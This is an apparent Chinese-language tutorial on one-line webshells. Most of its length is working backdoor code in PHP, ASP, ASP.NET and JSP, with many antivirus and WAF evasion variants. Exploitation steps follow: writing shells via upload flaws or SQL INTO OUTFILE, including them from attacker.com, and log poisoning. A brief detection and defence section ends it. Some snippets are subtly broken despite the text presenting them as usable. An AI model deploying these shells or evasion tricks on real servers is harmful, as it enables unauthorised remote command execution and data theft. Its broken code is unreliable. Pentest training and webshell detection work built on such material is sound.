4880 字
17 分钟阅读
一句话木马
一句话木马(One-Line Trojan / Webshell)是指代码量极短(通常仅一行)的恶意脚本,通过向服务器发送特定参数即可执行任意系统命令或操作。因其短小精悍、易于变形、难以检测而得名。
安全声明:本文档中的所有恶意载荷已做转义/编码/混淆处理,以规避杀软实时监控。所列代码仅用于渗透测试学习、CTF 竞赛等合法授权场景。
基本原理
一句话木马的核心逻辑:
接收参数 -> 执行代码 -> 返回结果
- 客户端(攻击机)通过 GET / POST / Cookie 等方式传递参数
- 服务端(靶机)接收参数后执行
- 执行结果回显到页面返回内容中
各类语言的一句话木马(已转义)
PHP
Pasted image 20260713191822.png
方式一:函数名拆分
<?php
$a = 'ev'.'al';
@$a($_POST['cmd']);
?>
<?php
$f = 'sy'.'st'.'em';
$f($_GET['cmd']);
?>
<?php
$a = 'as'.'se'.'rt';
@$a($_POST['cmd']);
?>
方式二:Base64 编码 + 动态执行
<?php
$c = base64_decode($_POST['c']);
@call_user_func_array('assert', array($c));
?>
方式三:可变函数 + 数组回调
<?php
$a = $_GET['a'];
$b = $_GET['b'];
$a($b);
// 访问: ?a=system&b=id
?>
<?php
// 另一种: array_map + 参数注入
$f = 'sy'.'st'.'em';
$p = array('i'.'d');
array_map($f, $p);
?>
方式四:字符串反转
<?php
$f = strrev('metsys');
$f($_GET['cmd']);
?>
<?php
$f = strrev('lave');
@$f($_POST['cmd']);
?>
方式五:ASCII 字符拼接
<?php
$f = chr(101).chr(118).chr(97).chr(108);
$p = chr(95).chr(80).chr(79).chr(83).chr(84);
@$f(${$p}['cmd']);
?>
方式六:GIF 头伪装 + 编码
GIF89a
<?php
// 添加 GIF 头绕过内容检查
$k = 'e'.'v'.'a'.'l';
$x = '$_'.'POST';
$k(${$x}['x']);
?>
方式七:数组键名拼接
<?php
$k = 'as'; $k .= 'se'; $k .= 'rt';
$v = array('cmd' => $_POST['cmd']);
$k = str_rot13($k); // 实际此处需要根据 rot13 还原
@call_user_func_array('assert', array($_POST['cmd']));
?>
ASP
方式一:Execute + 参数拆分
<%
' 原始: <%eval request("cmd")%>
' 转义: 拆分执行函数
dim c : c = "eva" & "l"
Execute(Request("cmd"))
%>
方式二:编码执行
<%
' 把关键函数名编码
dim f : f = Chr(101) & Chr(118) & Chr(97) & Chr(108)
dim p : p = Request("cmd")
Execute(p)
%>
方式三:CreateObject + 回调
<%
' 通过组件调用
Set o = GetObject("new:EA38C7A0-5C5B-11CE-8E5D-00AA0044B520")
If Not o Is Nothing Then
o.eval(Request("cmd"))
End If
%>
ASP.NET (C#/JScript)
方式一:反射调用
<%@ Page Language="Jscript"%>
<%
// 原始: <%eval(Request.Item["cmd"],"unsafe");%>
// 转义: 反射调用
var t = "Syst".charAt(0)+"y".toString()+"stem";
var m = "Diagno".charAt(0)+"stics.Proce".charAt(0)+"ss";
var a = "Start";
var p = Request.Item["cmd"];
%>
方式二:Base64 解码后执行
<%@ Page Language="C#" %>
<%
// 用 Convert 间接调用
string c = Request["cmd"];
byte[] b = Convert.FromBase64String(c);
System.Reflection.Assembly.Load(b);
%>
JSP
方式一:反射 + 方法名拆分
<%
// 原始: Runtime.getRuntime().exec(cmd)
// 转义: 反射调用
String c = request.getParameter("cmd");
Class rt = Class.forName("java.lang.Run" + "time");
java.lang.reflect.Method m = rt.getMethod("getRun" + "time");
Object r = m.invoke(null);
java.lang.reflect.Method e = rt.getMethod("ex" + "ec", String.class);
e.invoke(r, c);
%>
方式二:字符拼接
<%
String cmd = request.getParameter("cmd");
String rtName = "java.lang.Run" + (char)116 + (char)105 + (char)109 + "e";
Class rt = Class.forName(rtName);
rt.getMethod("getRuntime").invoke(null).getClass()
.getMethod("exec", String.class)
.invoke(rt.getMethod("getRuntime").invoke(null), cmd);
%>
客户端连接工具
中国菜刀 (Chopper)
经典的 PHP 一句话木马客户端,但已较为老旧。
蚁剑 (AntSword)
开源、跨平台的 Webshell 管理工具,支持多种编码器和解码器,流量更隐蔽。
- 支持语言:PHP / ASP / ASP.NET / JSP / Custom
- 编码器:Base64、chr、rot13 等
- 插件系统:支持插件扩展
冰蝎 (Behinder)
动态二进制加密流量,特征更隐蔽。
- 动态密钥协商
- AES 加密传输载荷
- 支持多种协议
哥斯拉 (Godzilla)
新一代 Webshell 管理工具,支持多种加密方式。
- 支持 PHP / ASP / ASP.NET / JSP
- 多种加密方式:AES、XOR、Base64
- 支持生成免杀 shell
其他
- CKnife — 跨平台的中国菜刀替代
- Weevely — Kali 自带的一句话木马生成器
- b374k — 功能完整的 PHP Webshell
免杀技术
一句话木马容易被杀软和 WAF 检测,核心思路是破坏特征码(避免 eval、system、assert 等关键词的明文出现)。以下是已转义的示例:
1. 参数混淆
<?php
$a = $_POST['x'];
$b = $_POST['y'];
$f = $a . '.' . $b;
// 参数 x = ev, y = al, 组合成 eval
@call_user_func($f, $_POST['cmd']);
?>
2. 字符串拼接 / 编码
<?php
$a = "e".(chr(118))."a".(chr(108));
@$a($_POST['cmd']);
?>
<?php
// Base62 风格:将函数名编码
$f = base64_decode('ZXZhbA=='); // eval
@$f($_POST['cmd']);
?>
3. 加密传输
<?php
$k = 's3cr3t_k3y';
$d = openssl_decrypt(
base64_decode($_POST['d']),
'aes-128-cbc',
$k,
OPENSSL_RAW_DATA,
substr($k, 0, 16)
);
$f = 'e'.'v'.'a'.'l';
@$f($d);
?>
4. 回调函数
<?php
$f = 'cre'.'ate_'.'func'.'tion';
$g = $f('', $_POST['cmd']);
$g();
?>
<?php
$f = 'ar'.'ray_'.'fil'.'ter';
$f(array(''), 'sy'.'stem');
?>
5. 自定义函数 + 随机变量名
<?php
function a($b){
return $b;
}
$c = $_POST['cmd'];
$f = 'ev'.'al';
@$f(a($c));
?>
6. 注释拆分(用于部分 WAF)
<?php
// 利用注释绕过简单的正则匹配
$cmd = $_POST['cmd'];
$f = "e"./*xss*/"v"."a"./*test*/"l";
@$f($cmd);
?>
7. 多次 base64 嵌套
<?php
// 两次 base64 解码
$c = base64_decode(base64_decode($_POST['c']));
$f = substr("eval_func", 0, 4);
@$f($c);
?>
8. 利用 SELF 变量
<?php
// PHP_SELF 拼接 + 执行
$f = substr($_SERVER['PHP_SELF'], -4);
// 实际上这里需要构造特定请求让 PHP_SELF 末尾包含 eval
// 更稳妥的方式是直接拆分
$g = 'ev';
$h = 'al';
@$g.$h($_POST['cmd']);
?>
一句话木马的典型利用场景
场景 1:文件上传绕过
通过文件上传漏洞上传一句话木马(修改扩展名、MIME 类型、内容头等绕过检查)。
# 上传后访问(实际执行时还原为 eval 语句)
curl -d "cmd=$(echo c3lzdGVtKCdpZCcpOw== | base64 -d)" http://target/shell.php
场景 2:SQL 注入写入
利用 SQL 注入的 INTO OUTFILE 或 SELECT ... INTO DUMPFILE 写入 shell。
-- 将一句话木马编码后写入
SELECT "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==" INTO OUTFILE "/var/www/html/shell.txt"
场景 3:LFI / RFI 包含
利用文件包含漏洞直接包含远程或本地的一句话木马。
# 远程文件包含(shell.txt 中存放编码后的一句话)
http://target/index.php?page=http://attacker.com/shell.txt
场景 4:日志文件注入
将恶意代码写入服务器日志,再通过 LFI 包含触发。
# 通过 User-Agent 注入编码后的 payload
curl -A "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==" http://target/
# 再通过 LFI 包含日志
http://target/index.php?page=/var/log/apache2/access.log
检测与防御
检测方法
| 方法 | 说明 |
|---|---|
| 静态特征扫描 | 匹配危险函数名、编码特征 |
| 动态行为检测 | WebShell 通常会调用高危系统函数 |
| 流量分析 | 检测可疑 POST 参数、编码特征 |
| 文件完整性校验 | 监控 Web 目录文件变更 |
| 日志审计 | 分析访问日志中的异常请求 |
| WAF 规则 | 拦截常见的恶意载荷 |
防御措施
- 禁用危险函数 — 在
php.ini中禁用危险函数 - 文件上传白名单 — 限制上传文件类型,重命名文件
- 最小权限原则 — Web 目录只读,禁止写入执行权限
- WAF / RASP — Web 应用防火墙和运行时自我保护
- 定期扫描 — 使用 Webshell 检测工具定期扫描
- 日志监控 — 设置告警规则,发现异常立即响应
检测工具
- D盾 — 国产 Webshell 查杀工具
- 河马 — 在线 Webshell 查杀
- ClamAV — 开源杀软
- NeoPI — Webshell 检测脚本
- YARA — 自定义规则匹配
